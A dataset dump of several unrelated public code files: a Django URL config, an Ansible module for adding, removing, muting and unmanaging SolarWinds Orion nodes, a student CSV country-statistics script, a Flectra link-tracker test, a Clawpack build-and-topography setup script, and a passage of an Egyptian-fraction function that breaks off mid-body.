django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom django.conf.urls import url, include\nfrom booktest import views\n\nurlpatterns = [\n url('^static_test$', views.static_test, name='static_test'),\n url('^index$', views.index, name='index'),\n url(r'^upload_handle$', views.upload_handle, name='upload_handle'),\n url(r'^upload$', views.upload, name='upload'),\n url(r'^show_area(?P\\d*)$', views.show_area, name='show_area'), # 先分组,在用?P取组名,再用\\d* 匹配数字 可以有可以没有\n url(r'^areas$', views.areas, name='areas'),\n url(r'^prov$', views.prov, name='prov'),\n url(r'^city(\\d+)$', views.city, name='city'),\n url(r'^xian(\\d+)$', views.city),\n]\n","repo_name":"tomtom520/demo1","sub_path":"booktest/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26792538952","text":"from __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\nDOCUMENTATION = '''\n---\nmodule: orion_node\nshort_description: Created/Removes/Edits Nodes in Solarwinds Orion NPM\ndescription:\n - \"Create or Remove Nodes in Orion NPM.\"\nversion_added: \"1.0.0\"\nauthor:\n - \"Jarett D Chaiken (@jdchaiken)\"\n - \"Josh M. Eisenbath (@jeisenbath)\"\noptions:\n state:\n description:\n - The desired state of the node.\n required: true\n type: str\n choices:\n - present\n - absent\n - managed\n - unmanaged\n - muted\n - unmuted\n node_id:\n description:\n - Node ID of the node.\n - One of I(ip_address), I(node_id), or I(name) is required.\n required: false\n type: str\n name:\n description:\n - Name of the node.\n - When I(state=present), this field is required.\n - When state is other than present, one of I(ip_address), I(node_id), or I(name) is required.\n required: false\n aliases: [ 'caption' ]\n type: str\n ip_address:\n description:\n - IP Address of the node.\n - One of I(ip_address), I(node_id), or I(name) is required.\n required: false\n type: str\n unmanage_from:\n description:\n - \"The date and time (in ISO 8601 UTC format) to begin the unmanage period.\"\n - If this is in the past, the node will be unmanaged effective immediately.\n - If not provided, module defaults to now.\n - \"ex: 2017-02-21T12:00:00Z\"\n required: false\n type: str\n unmanage_until:\n description:\n - \"The date and time (in ISO 8601 UTC format) to end the unmanage period.\"\n - You can set this as far in the future as you like.\n - If not provided, module defaults to 24 hours from now.\n - \"ex: 2017-02-21T12:00:00Z\"\n required: false\n type: str\n polling_method:\n description:\n - Polling method to use.\n choices:\n - External\n - ICMP\n - SNMP\n - WMI\n - Agent\n default: ICMP\n required: false\n type: str\n ro_community_string:\n description:\n - SNMP Read-Only Community string.\n - Required if I(polling_method=snmp).\n required: false\n type: str\n rw_community_string:\n description:\n - SNMP Read-Write Community string\n required: false\n type: str\n snmp_version:\n description:\n - SNMPv2c or SNMPv3 for snmp polling.\n choices:\n - \"2\"\n - \"3\"\n required: false\n type: str\n snmp_port:\n description:\n - Port that SNMP server listens on.\n required: false\n default: \"161\"\n type: str\n snmp_allow_64:\n description:\n - Set true if device supports 64-bit counters.\n type: bool\n default: true\n required: false\n snmpv3_credential_set:\n description:\n - Credential set name for SNMPv3 credentials.\n - Required when SNMP version is 3.\n snmpv3_username:\n description:\n - Read-Only SNMPv3 username.\n - Required when SNMP version is 3.\n type: str\n required: false\n snmpv3_auth_method:\n description:\n - Authentication method for SNMPv3.\n - Required when SNMP version is 3.\n type: str\n default: SHA1\n choices:\n - SHA1\n - MD5\n required: false\n snmpv3_auth_key:\n description:\n - Authentication passphrase for SNMPv3.\n - Required when SNMP version is 3.\n type: str\n required: false\n snmpv3_auth_key_is_pwd:\n description:\n - SNMPv3 Authentication Password is a key.\n - Confusingly, value of True corresponds to web GUI checkbox being unchecked.\n type: bool\n default: True\n required: false\n snmpv3_priv_method:\n description:\n - Privacy method for SNMPv3.\n type: str\n default: AES128\n choices:\n - DES56\n - AES128\n - AES192\n - AES256\n required: false\n snmpv3_priv_key:\n description:\n - Privacy passphrase for SNMPv3\n type: str\n required: false\n snmpv3_priv_key_is_pwd:\n description:\n - SNMPv3 Privacy Password is a key.\n - Confusingly, value of True corresponds to web GUI checkbox being unchecked.\n type: bool\n default: True\n required: false\n wmi_credential_set:\n description:\n - 'Credential Name already configured in NPM Found under \"Manage Windows Credentials\" section of the Orion website (Settings)'\n - \"Note: creation of credentials are not supported at this time\"\n - Required if I(polling_method=wmi).\n required: false\n type: str\n polling_engine:\n description:\n - ID of polling engine that NPM will use to poll this device.\n - If not passed, will query for the Polling Engine with least nodes assigned.\n - Not recommended to use I(polling_engine=1), which should be the main app server.\n required: false\n type: str\nextends_documentation_fragment:\n - solarwinds.orion.orion_auth_options\nrequirements:\n - orionsdk\n - python-dateutil\n - requests\n'''\n\nEXAMPLES = '''\n---\n- name: Add an SNMP node to Orion\n solarwinds.orion.orion_node:\n hostname: \"{{ solarwinds_server }}\"\n username: \"{{ solarwinds_username }}\"\n password: \"{{ solarwinds_password }}\"\n name: \"{{ node_name }}\"\n state: present\n ip_address: \"{{ node_ip_address }}\"\n polling_method: SNMP\n ro_community_string: \"{{ snmp_ro_community_string }}\"\n delegate_to: localhost\n\n- name: Mute node in Solarwinds for 30 minutes\n solarwinds.orion.orion_node:\n hostname: \"{{ solarwinds_host }}\"\n username: \"{{ solarwinds_username }}\"\n password: \"{{ solarwinds_password }}\"\n state: muted\n ip_address: \"{{ ip_address }}\"\n unmanage_until: \"{{ '%Y-%m-%dT%H:%M:%S' | strftime((now(fmt='%s')|int) + 1800) }}Z\"\n delegate_to: localhost\n'''\n\nRETURN = r'''\norion_node:\n description: Info about an orion node.\n returned: always\n type: dict\n sample: {\n \"caption\": \"localhost\",\n \"ipaddress\": \"127.0.0.1\",\n \"netobjectid\": \"N:12345\",\n \"nodeid\": \"12345\",\n \"objectsubtype\": \"SNMP\",\n \"status\": 1,\n \"statusdescription\": \"Node status is Up.\",\n \"unmanaged\": false,\n \"unmanagefrom\": \"1899-12-30T00:00:00+00:00\",\n \"unmanageuntil\": \"1899-12-30T00:00:00+00:00\",\n \"uri\": \"swis://host.domain.com/Orion/Orion.Nodes/NodeID=12345\"\n }\n'''\n\nfrom datetime import datetime, timedelta\nimport requests\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible_collections.solarwinds.orion.plugins.module_utils.orion import OrionModule, orion_argument_spec\ntry:\n from orionsdk import SwisClient\n HAS_ORION = True\nexcept ImportError:\n HAS_ORION = False\nexcept Exception:\n raise Exception\n\nrequests.packages.urllib3.disable_warnings()\n\n\ndef add_credential_set(node, credential_set_name, credential_set_type):\n credential_set_type_valid = ['WMICredential', 'ROSNMPCredentialID', 'RWSNMPCredentialID']\n cred_id_query = __SWIS__.query(\n \"SELECT ID FROM Orion.Credential WHERE Name = '{0}'\".format(credential_set_name)\n )\n\n credential_id = cred_id_query['results'][0]['ID']\n if credential_id and credential_set_type in credential_set_type_valid:\n nodesettings = {\n 'nodeid': node['nodeid'],\n 'SettingName': credential_set_type,\n 'SettingValue': str(credential_id),\n }\n __SWIS__.create('Orion.NodeSettings', **nodesettings)\n\n\ndef add_node(module, orion):\n\n props = {\n 'IPAddress': module.params['ip_address'],\n 'Caption': module.params['name'],\n 'ObjectSubType': module.params['polling_method'].upper(),\n 'Community': module.params['ro_community_string'],\n 'RWCommunity': module.params['rw_community_string'],\n 'SNMPVersion': module.params['snmp_version'],\n 'AgentPort': module.params['snmp_port'],\n 'Allow64BitCounters': module.params['snmp_allow_64'],\n 'External': False,\n }\n\n if module.params['polling_engine']:\n props['EngineID'] = module.params['polling_engine']\n else:\n props['EngineID'] = orion.get_least_used_polling_engine()\n\n if props['ObjectSubType'] == 'EXTERNAL':\n props['ObjectSubType'] = 'ICMP'\n\n if module.params['polling_method'].upper() == 'EXTERNAL':\n props['External'] = True\n\n if module.params['snmp_version'] == '3' and props['ObjectSubType'] == 'SNMP':\n # Even when using credential set, node creation fails without providing all three properties\n props['SNMPV3Username'] = module.params['snmpv3_username']\n props['SNMPV3PrivKey'] = module.params['snmpv3_priv_key']\n props['SNMPV3AuthKey'] = module.params['snmpv3_auth_key']\n\n # Set defaults here instead of at module level, since we only want for snmpv3 nodes\n if module.params['snmpv3_priv_method']:\n props['SNMPV3PrivMethod'] = module.params['snmpv3_priv_method']\n else:\n props['SNMPV3PrivMethod'] = 'AES128'\n if module.params['snmpv3_priv_key_is_pwd']:\n props['SNMPV3PrivKeyIsPwd'] = module.params['snmpv3_priv_key_is_pwd']\n else:\n props['SNMPV3PrivKeyIsPwd'] = True\n if module.params['snmpv3_auth_method']:\n props['SNMPV3AuthMethod'] = module.params['snmpv3_auth_method']\n else:\n props['SNMPV3AuthMethod'] = 'SHA1'\n if module.params['snmpv3_auth_key_is_pwd']:\n props['SNMPV3AuthKeyIsPwd'] = module.params['snmpv3_auth_key_is_pwd']\n else:\n props['SNMPV3AuthKeyIsPwd'] = True\n\n # Add Node\n try:\n __SWIS__.create('Orion.Nodes', **props)\n except Exception as OrionException:\n module.fail_json(msg='Failed to create node: {0}'.format(str(OrionException)))\n\n # Get node after being created\n node = orion.get_node()\n\n # If we don't use credential sets, each snmpv3 node will create its own credential set\n # TODO option for read/write sets?\n if props['ObjectSubType'] == 'SNMP' and props['SNMPVersion'] == '3':\n add_credential_set(node, module.params['snmpv3_credential_set'], 'ROSNMPCredentialID')\n\n # If Node is a WMI node, assign credential\n if props['ObjectSubType'] == 'WMI':\n add_credential_set(node, module.params['wmi_credential_set'], 'WMICredential')\n\n # Add Standard Default Pollers\n icmp_pollers = {\n 'N.Status.ICMP.Native': True,\n 'N.ResponseTime.ICMP.Native': True,\n 'N.IPAddress.ICMP.Generic': True\n }\n\n snmp_pollers = {\n 'N.Status.ICMP.Native': True,\n 'N.Status.SNMP.Native': False,\n 'N.ResponseTime.ICMP.Native': True,\n 'N.ResponseTime.SNMP.Native': False,\n 'N.Details.SNMP.Generic': True,\n 'N.Uptime.SNMP.Generic': True,\n 'N.Routing.SNMP.Ipv4CidrRoutingTable': False,\n 'N.Topology_Layer3.SNMP.ipNetToMedia': False,\n }\n\n if module.params['polling_method'].upper() == 'ICMP':\n pollers_enabled = icmp_pollers\n elif module.params['polling_method'].upper() == 'SNMP':\n pollers_enabled = snmp_pollers\n else:\n pollers_enabled = {}\n\n for k in pollers_enabled:\n try:\n orion.add_poller('N', str(node['nodeid']), k, pollers_enabled[k])\n except Exception as OrionException:\n module.fail_json(msg='Failed to create pollers on node: {0}'.format(str(OrionException)))\n\n return node\n\n\ndef remove_node(module, node):\n try:\n __SWIS__.delete(node['uri'])\n module.exit_json(changed=True, orion_node=node)\n except Exception as OrionException:\n module.fail_json(msg='Error removing node: {0}'.format(str(OrionException)))\n\n\ndef remanage_node(module, node):\n if not node['unmanaged']:\n module.exit_json(changed=False, orion_node=node)\n\n try:\n __SWIS__.invoke('Orion.Nodes', 'Remanage', node['netobjectid'])\n module.exit_json(changed=True, orion_node=node)\n except Exception as OrionException:\n module.fail_json(msg='Error remanaging node: {0}'.format(str(OrionException)))\n\n\ndef unmanage_node(module, node):\n now = datetime.now()\n tomorrow = now + timedelta(days=1)\n\n unmanage_from = module.params['unmanage_from']\n unmanage_until = module.params['unmanage_until']\n\n if not unmanage_from:\n unmanage_from = now.isoformat()\n if not unmanage_until:\n unmanage_until = tomorrow.isoformat()\n\n elif node['unmanaged']:\n module.exit_json(changed=False, orion_node=node)\n\n try:\n __SWIS__.invoke(\n 'Orion.Nodes',\n 'Unmanage',\n node['netobjectid'],\n unmanage_from,\n unmanage_until,\n False # use Absolute Time\n )\n module.exit_json(changed=True, orion_node=node)\n except Exception as OrionException:\n module.fail_json(msg='Error unmanaging node: {0}'.format(str(OrionException)))\n\n\ndef mute_node(module, node):\n now = datetime.now()\n tomorrow = now + timedelta(days=1)\n\n unmanage_from = module.params['unmanage_from']\n unmanage_until = module.params['unmanage_until']\n\n if not unmanage_from:\n unmanage_from = now.isoformat()\n if not unmanage_until:\n unmanage_until = tomorrow.isoformat()\n\n try:\n suppressed_state = __SWIS__.invoke('Orion.AlertSuppression', 'GetAlertSuppressionState', [node['uri']])[0]\n\n # SuppressionMode 1 is suppressed, 0 unsuppressed\n if suppressed_state['SuppressionMode'] == 0:\n __SWIS__.invoke('Orion.AlertSuppression', 'SuppressAlerts', [node['uri']], unmanage_from, unmanage_until)\n module.exit_json(changed=True, orion_node=node)\n # todo if unmanage_until param > current unmanage until, update time\n else:\n module.exit_json(changed=False, orion_node=node)\n except Exception as OrionException:\n module.fail_json(msg='Error muting node: {0}'.format(str(OrionException)))\n\n\ndef unmute_node(module, node):\n suppressed_state = __SWIS__.invoke('Orion.AlertSuppression', 'GetAlertSuppressionState', [node['uri']])[0]\n\n try:\n # SuppressionMode 1 is suppressed, 0 unsuppressed\n if suppressed_state['SuppressionMode'] == 0:\n module.exit_json(changed=False, orion_node=node)\n else:\n __SWIS__.invoke('Orion.AlertSuppression', 'ResumeAlerts', [node['uri']])\n module.exit_json(changed=True, orion_node=node)\n except Exception as OrionException:\n module.fail_json(msg='Error muting node: {0}'.format(str(OrionException)))\n\n\ndef main():\n argument_spec = orion_argument_spec\n argument_spec.update(\n state=dict(required=True, choices=['present', 'absent', 'managed', 'unmanaged', 'muted', 'unmuted']),\n unmanage_from=dict(required=False, default=None),\n unmanage_until=dict(required=False, default=None),\n polling_method=dict(required=False, default='ICMP', choices=['External', 'ICMP', 'SNMP', 'WMI', 'Agent']),\n ro_community_string=dict(required=False, no_log=True),\n rw_community_string=dict(required=False, no_log=True),\n snmp_version=dict(required=False, default=None, choices=['2', '3']),\n snmpv3_credential_set=dict(required=False, default=None, type=str),\n snmpv3_username=dict(required=False, type=str),\n snmpv3_auth_method=dict(required=False, type=str, choices=['SHA1', 'MD5']),\n snmpv3_auth_key=dict(required=False, type=str, no_log=True),\n snmpv3_auth_key_is_pwd=dict(required=False, type=bool),\n snmpv3_priv_method=dict(required=False, type=str, choices=['DES56', 'AES128', 'AES192', 'AES256']),\n snmpv3_priv_key=dict(required=False, type=str, no_log=True),\n snmpv3_priv_key_is_pwd=dict(required=False, type=bool),\n snmp_port=dict(required=False, default='161'),\n snmp_allow_64=dict(required=False, default=True, type='bool'),\n wmi_credential_set=dict(required=False, no_log=True),\n polling_engine=dict(required=False),\n )\n\n module = AnsibleModule(\n argument_spec,\n supports_check_mode=True,\n required_one_of=[('name', 'node_id', 'ip_address')],\n required_if=[\n ('state', 'present', ('name', 'ip_address', 'polling_method')),\n ('snmp_version', '2', ['ro_community_string']),\n ('snmp_version', '3', ['snmpv3_credential_set', 'snmpv3_username', 'snmpv3_auth_key', 'snmpv3_priv_key']),\n ('polling_method', 'SNMP', ['snmp_version']),\n ('polling_method', 'WMI', ['wmi_credential_set']),\n ],\n )\n\n if not HAS_ORION:\n module.fail_json(msg='orionsdk required for this module')\n\n options = {\n 'hostname': module.params['hostname'],\n 'username': module.params['username'],\n 'password': module.params['password'],\n }\n\n global __SWIS__\n __SWIS__ = SwisClient(**options)\n\n try:\n __SWIS__.query('SELECT uri FROM Orion.Environment')\n except Exception as AuthException:\n module.fail_json(\n msg='Failed to query Orion. '\n 'Check Hostname, Username, and/or Password: {0}'.format(str(AuthException))\n )\n\n orion = OrionModule(module, __SWIS__)\n node = orion.get_node()\n\n if module.params['state'] == 'present':\n if node:\n module.exit_json(changed=False, orion_node=node)\n\n if module.check_mode:\n module.exit_json(changed=True, orion_node=node)\n else:\n new_node = add_node(module, orion)\n module.exit_json(changed=True, orion_node=new_node)\n elif module.params['state'] == 'absent':\n if not node:\n module.exit_json(changed=False)\n\n if module.check_mode:\n module.exit_json(changed=True, orion_node=node)\n else:\n remove_node(module, node)\n else:\n if not node:\n module.exit_json(skipped=True, msg='Node not found')\n\n if module.params['state'] == 'managed':\n if module.check_mode:\n module.exit_json(changed=True, orion_node=node)\n else:\n remanage_node(module, node)\n elif module.params['state'] == 'unmanaged':\n if module.check_mode:\n module.exit_json(changed=True, orion_node=node)\n else:\n unmanage_node(module, node)\n elif module.params['state'] == 'muted':\n if module.check_mode:\n module.exit_json(changed=True, orion_node=node)\n else:\n mute_node(module, node)\n elif module.params['state'] == 'unmuted':\n if module.check_mode:\n module.exit_json(changed=True, orion_node=node)\n else:\n unmute_node(module, node)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jeisenbath/ansible-collection-solarwinds-orion","sub_path":"plugins/modules/orion_node.py","file_name":"orion_node.py","file_ext":"py","file_size_in_byte":19303,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"43094837345","text":"#****************************************\n# Momodou Alieu Jallow\n# 4/30/2018\n#\n# This program reads data from a file and \n# displays different statistics for \n# countries \n#****************************************\n\ncountries = open(\"/Users/mjallow/Documents/pythonHW9/world_countries.csv\", \"r\")\ncountry_stats = []\n\nheadings = countries.readline().strip().split(\",\")\n\nline = countries.readline()\nwhile line:\n line = line.strip()\n values = line.split(\",\") \n country_stats.append(values)\n line = countries.readline() \n\ncountries.close()\n\nprint(\"Countries with a population of over 400,000,000\")\nprint()\n\nfor item in country_stats:\n if float(item[3]) > 400000000:\n print(item[0], float(item[3]))\n\nprint()\nprint(\"----------------------------------\")\n\npopulation_min = float(input(\"Enter population minimum: \"))\nprint(\"Countries with a population over\", population_min)\n\nfor item in country_stats:\n if float(item[3]) > population_min:\n print(item[0], float(item[3]))\n\nprint()\nprint(\"----------------------------------\")\n\n#get country length for formatting\ncountryLength = len(country_stats[0][0])\nfor item in country_stats:\n if len(item[0]) > countryLength:\n countryLength = len(item[0])\n\n#get input from user \ncol = int(input(\"Enter column[3-6]:\"))\n\nwhile col < 3 or col > 6:\n col = int(input(\"Enter column[3-6]: \"))\n\n#pass toPrint1 to input since input takes only one argument \ntoPrint1 = \"Enter \" + headings[col] + \" minimum: \"\nmini1 = int(input(toPrint1))\nprint(\"Countries with a\", headings[col], \"over\", mini1)\nfor item in country_stats:\n if float(item[col]) > mini1:\n formattedString = '{:<{countryLength}}'.format(item[0], countryLength = countryLength)\n print(formattedString, float(item[col]))\n\nprint()\nprint(\"----------------------------------\")\n\n# get column name input from user\ncolName = input(\"Enter column name: \")\ncolNameIndex = headings.index(colName)\n\n#pass toPrint2 to input since input takes only one argument \ntoPrint2 = \"Enter \" + colName + \" minimum: \"\nmini2 = float(input(toPrint2))\nprint(\"Countries with a\", colName, \"over\", mini2)\n\nfor item in country_stats:\n if float(item[colNameIndex]) > mini2:\n formattedString = '{:<{countryLength}}'.format(item[0], countryLength = countryLength)\n print(formattedString, float(item[colNameIndex]))\n\nprint()\nprint(\"----------------------------------\")\n\n#dictionary that contains regions\nregionDictionary = {\"ASIA (EX. NEAR EAST)\": 0, \"EASTERN EUROPE\": 0, \"NORTHERN AFRICA\": 0, \"OCEANIA\": 0, \"WESTERN EUROPE\": 0, \"SUB-SAHARAN AFRICA\": 0,\n\"LATIN AMER. & CARIB\": 0, \"C.W. OF IND. STATES\": 0, \"NEAR EAST\": 0, \"NORTHERN AMERICA\": 0, \"BALTICS\": 0}\n\n#Total population by region\n#add to value when key is found\nfor item in country_stats:\n for k in regionDictionary:\n if item[2] == k:\n regionDictionary[k] += int(item[3])\nprint(\"Total population by region:\")\n\n#get length for formatting\nregionList = list(regionDictionary.keys())\nregionLength = len(regionList[0])\nfor item in regionList[1:]:\n if len(item) > regionLength:\n regionLength = len(item)\n\n#print region and total population\nfor k in regionDictionary:\n formattedString = '{:<{regionLength}}'.format(k, regionLength = regionLength)\n print(formattedString, regionDictionary[k])\n\n\n\n \n\n\n\n\n\n\n\n\n","repo_name":"momodoualieu/Country_Statistics","sub_path":"WorldCountries.py","file_name":"WorldCountries.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42415870580","text":"from flectra.tests.common import users\nfrom flectra.addons.test_mass_mailing.tests import common\n\n\nclass TestLinkTracker(common.TestMassMailCommon):\n\n def setUp(self):\n super(TestLinkTracker, self).setUp()\n\n self.link = self.env['link.tracker'].create({\n 'url': 'https://www.example.com'\n })\n\n self.click = self.env['link.tracker.click'].create({\n 'link_id': self.link.id,\n 'ip': '100.00.00.00',\n 'country_id': self.env.ref('base.fr').id,\n })\n\n def test_add_link(self):\n code = self.link.code\n self.assertEqual(self.link.count, 1)\n\n # click from a new IP should create a new entry\n click = self.env['link.tracker.click'].sudo().add_click(\n code,\n ip='100.00.00.01',\n country_code='BEL'\n )\n self.assertEqual(click.ip, '100.00.00.01')\n self.assertEqual(click.country_id, self.env.ref('base.be'))\n self.assertEqual(self.link.count, 2)\n\n # click from same IP (even another country) does not create a new entry\n click = self.env['link.tracker.click'].sudo().add_click(\n code,\n ip='100.00.00.01',\n country_code='FRA'\n )\n self.assertEqual(click, None)\n self.assertEqual(self.link.count, 2)\n\n @users('user_marketing')\n def test_add_link_mail_stat(self):\n mailing = self.env['mailing.mailing'].create({'name': 'Test Mailing', \"subject\": \"Hi!\"})\n code = self.link.code\n self.assertEqual(self.link.count, 1)\n stat = self.env['mailing.trace'].create({'mass_mailing_id': mailing.id})\n self.assertFalse(stat.opened)\n self.assertFalse(stat.clicked)\n\n # click from a new IP should create a new entry and update stat when provided\n click = self.env['link.tracker.click'].sudo().add_click(\n code,\n ip='100.00.00.01',\n country_code='BEL',\n mailing_trace_id=stat.id\n )\n self.assertEqual(self.link.count, 2)\n self.assertEqual(click.mass_mailing_id, mailing)\n self.assertTrue(stat.opened)\n self.assertTrue(stat.clicked)\n","repo_name":"flectra-hq/flectra","sub_path":"addons/test_mass_mailing/tests/test_link_tracker.py","file_name":"test_link_tracker.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":83,"dataset":"github-code","pt":"67"} +{"seq_id":"70778294614","text":"import os\nimport logging\n\n\n# logger\nlogger = logging.getLogger(\"setup.py\")\nlogger.setLevel(logging.DEBUG)\n\n# log message to std io\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\n\n# file log\nfh = logging.FileHandler(\"neck_test_setup.log\", \"w\", \"utf-8\")\nfh.setLevel(logging.DEBUG)\nfh.setFormatter(logging.Formatter(\n '[%(asctime)s][%(name)s][%(levelname)s] %(message)s'))\n\n# add handlers to the logger\nlogger.addHandler(ch)\nlogger.addHandler(fh)\n\ndef download_clawpack():\n \"\"\"Download Clawpack v5.5.0 tarballs.\"\"\"\n from urllib.request import urlretrieve\n\n repo_path = os.path.dirname(os.path.abspath(__file__))\n src_path = os.path.join(repo_path, \"src\")\n tar_path = os.path.join(src_path, \"clawpack-v5.5.0.tar.gz\")\n\n if os.path.isfile(tar_path):\n logger.warning(\"%s already exists. Skip downloading.\", tar_path)\n return\n\n # download clawpack v5.5.0 tarball\n logger.debug(\"Downloading %s\", tar_path)\n urlretrieve(\n \"https://github.com/clawpack/clawpack/files/2330639/clawpack-v5.5.0.tar.gz\",\n tar_path)\n\n logger.info(\"Downloading %s succeeded.\", tar_path)\n\ndef decompress_clawpack():\n \"\"\"Decompress Clawpack v5.5.0 tarballs.\"\"\"\n import tarfile\n\n repo_path = os.path.dirname(os.path.abspath(__file__))\n src_path = os.path.join(repo_path, \"src\")\n tar_path = os.path.join(src_path, \"clawpack-v5.5.0.tar.gz\")\n claw_path = os.path.join(src_path, \"clawpack-v5.5.0\")\n\n if not os.path.isfile(tar_path):\n logger.error(\"%s does not exists! Can't decompress it\", tar_path)\n raise FileNotFoundError(\"{} does not exists! Can't decompress it.\".format(tar_path))\n\n if os.path.isdir(claw_path):\n logger.warning(\"%s already exists. Skip decompressing.\", claw_path)\n return\n\n # extract to dst/top_level\n logger.debug(\"Decompressing %s to %s\", tar_path, claw_path)\n with tarfile.open(tar_path, \"r\") as f:\n f.extractall(src_path)\n\n logger.info(\"Decompressing %s succeeded.\", tar_path)\n\ndef setup_clawpack():\n \"\"\"Run the setup.py in Clawpack-v5.5.0.\"\"\"\n import subprocess\n\n repo_path = os.path.dirname(os.path.abspath(__file__))\n claw_path = os.path.join(repo_path, \"src\", \"clawpack-v5.5.0\")\n\n # save CWD, go to clawpack dir\n cwd = os.path.abspath(os.getcwd())\n logger.debug(\"Changing directory from %s to %s.\", cwd, claw_path)\n os.chdir(claw_path)\n\n # execute `python setup.py symlink-only`\n logger.debug(\"Running python setup.py symlink-only\")\n job = subprocess.run(\n [\"python\", \"setup.py\", \"symlink-only\"],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n try:\n job.check_returncode()\n except subprocess.CalledProcessError:\n logger.error(job.stderr.decode(\"UTF-8\"))\n logger.error(\"Setting up Clawpack v5.5.0 failed. Exit setup.\")\n raise\n\n # go back to previous cwd\n logger.debug(\"Changing directory from %s to %s.\", claw_path, cwd)\n os.chdir(cwd)\n\n logger.info(\"Setting up Clawpack-v5.5.0 succeeded.\")\n\ndef build_executables():\n \"\"\"Compile and build executables.\"\"\"\n import subprocess\n\n repo_path = os.path.dirname(os.path.abspath(__file__))\n src_path = os.path.join(repo_path, \"src\")\n\n makefiles = [\n os.path.join(src_path, \"Makefile.original\"),\n os.path.join(src_path, \"Makefile.update\"),\n os.path.join(src_path, \"Makefile.flag2refine2\"),\n os.path.join(src_path, \"Makefile.update_and_flag2refine2\")]\n\n os.environ[\"CLAW\"] = os.path.join(src_path, \"clawpack-v5.5.0\")\n\n if not os.path.isdir(os.path.join(repo_path, \"bin\")):\n os.makedirs(os.path.join(repo_path, \"bin\"))\n\n for makefile in makefiles:\n logger.debug(\"Running make .exe for %s.\", makefile)\n job = subprocess.run(\n [\"make\", \"-f\", makefile, \".exe\"],\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n try:\n job.check_returncode()\n except subprocess.CalledProcessError:\n logger.error(job.stderr.decode(\"UTF-8\"))\n logger.error(\"Building target in %s failed. Exit.\", makefile)\n raise\n\n logger.info(\"Building executables succeeded.\")\n\ndef create_topo():\n \"\"\"Create topo.asc for the tests.\"\"\"\n import numpy\n\n X, Y = numpy.meshgrid(\n numpy.linspace(-0.5, 152.5, 154),\n numpy.linspace(-0.5, 60.5, 62))\n\n logger.debug(\"Setting up elevation values\")\n\n # init\n elevation = numpy.zeros_like(X, dtype=numpy.float64)\n\n # inclined entrance\n elevation[X <= 60.] = (60. - X[X <= 60.]) * numpy.tan(numpy.pi/36.)\n\n # mountains and channels\n idx_base = (X <= 70.)\n idx_low = numpy.logical_and(idx_base, (X-70.)**2+(Y+20.)**2 <= 48.5**2)\n idx_high = numpy.logical_and(idx_base, (X-70.)**2+(Y-80.)**2 <= 48.5**2)\n elevation[idx_low] = numpy.sqrt(48.5**2-(X[idx_low]-70.)**2-(Y[idx_low]+20.)**2)\n elevation[idx_high] = numpy.sqrt(48.5**2-(X[idx_high]-70.)**2-(Y[idx_high]-80.)**2)\n\n idx_base = numpy.logical_and(X > 70., X <= 90)\n idx_low = numpy.logical_and(idx_base, Y <= 28.5)\n idx_high = numpy.logical_and(idx_base, Y >= 31.5)\n elevation[idx_low] = numpy.sqrt(48.5**2-(Y[idx_low]+20)**2)\n elevation[idx_high] = numpy.sqrt(48.5**2-(Y[idx_high]-80.)**2)\n\n idx_base = (X >= 90.)\n idx_low = numpy.logical_and(idx_base, (X-90.)**2+(Y+20.)**2 <= 48.5**2)\n idx_high = numpy.logical_and(idx_base, (X-90.)**2+(Y-80.)**2 <= 48.5**2)\n elevation[idx_low] = numpy.sqrt(48.5**2-(X[idx_low]-90.)**2-(Y[idx_low]+20.)**2)\n elevation[idx_high] = numpy.sqrt(48.5**2-(X[idx_high]-90.)**2-(Y[idx_high]-80.)**2)\n\n # pool\n idx_low = numpy.logical_and(X >= 124., X <= 144.)\n idx_high = numpy.logical_and(Y >= 16, Y <= 44)\n idx_base = numpy.logical_and(idx_low, idx_high)\n elevation[idx_base] = -1.0\n\n # clip high elevation values, because we don't need them\n elevation[elevation > 20.] = 20.\n\n # lift the elevation to above sea level\n elevation += 10.0\n\n repo_path = os.path.dirname(os.path.abspath(__file__))\n topodir_path = os.path.join(repo_path, \"topodata\")\n if not os.path.isdir(topodir_path):\n os.makedirs(topodir_path)\n\n logger.debug(\"Writing to topodata/topo.asc\")\n headers = \\\n \"ncols {}\\n\".format(X.shape[1]) + \\\n \"nrows {}\\n\".format(X.shape[0]) + \\\n \"xllcorner {}\\n\".format(-1.0) + \\\n \"yllcorner {}\\n\".format(-1.0) + \\\n \"cellsize {}\\n\".format(1.0) + \\\n \"NODATA_value {}\\n\".format(-9999)\n\n with open(os.path.join(topodir_path, \"topo.asc\"), \"w\") as f:\n f.write(headers)\n for j in reversed(range(X.shape[0])):\n elevation[j, :].tofile(f, \" \")\n f.write(\"\\n\")\n\n logger.info(\"Creating topo file succeeded.\")\n\nif __name__ == \"__main__\":\n download_clawpack()\n decompress_clawpack()\n setup_clawpack()\n build_executables()\n create_topo()\n","repo_name":"piyueh/geoclaw-neck-test","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38715312972","text":"\"\"\"\nProblem:\n\nThe ancient Egyptians used to express fractions as a sum of several terms where each\nnumerator is one. For example, 4 / 13 can be represented as\n1 / (4 + 1 / (18 + (1 / 468))).\n\nCreate an algorithm to turn an ordinary fraction a / b, where a < b, into an Egyptian\nfraction.\n\"\"\"\n\nfrom fractions import Fraction\nfrom math import ceil\nfrom typing import List\n\n\ndef get_egyptian_frac(\n fraction: Fraction, previous_fraction: List[Fraction] = list()\n) -> List[Fraction]:\n if fraction.numerator == 1:\n previous_fraction.append(fraction)\n return previous_fraction\n\n egyptian_fraction = Fraction(1, ceil(fraction.denominator / fraction.numerator))\n 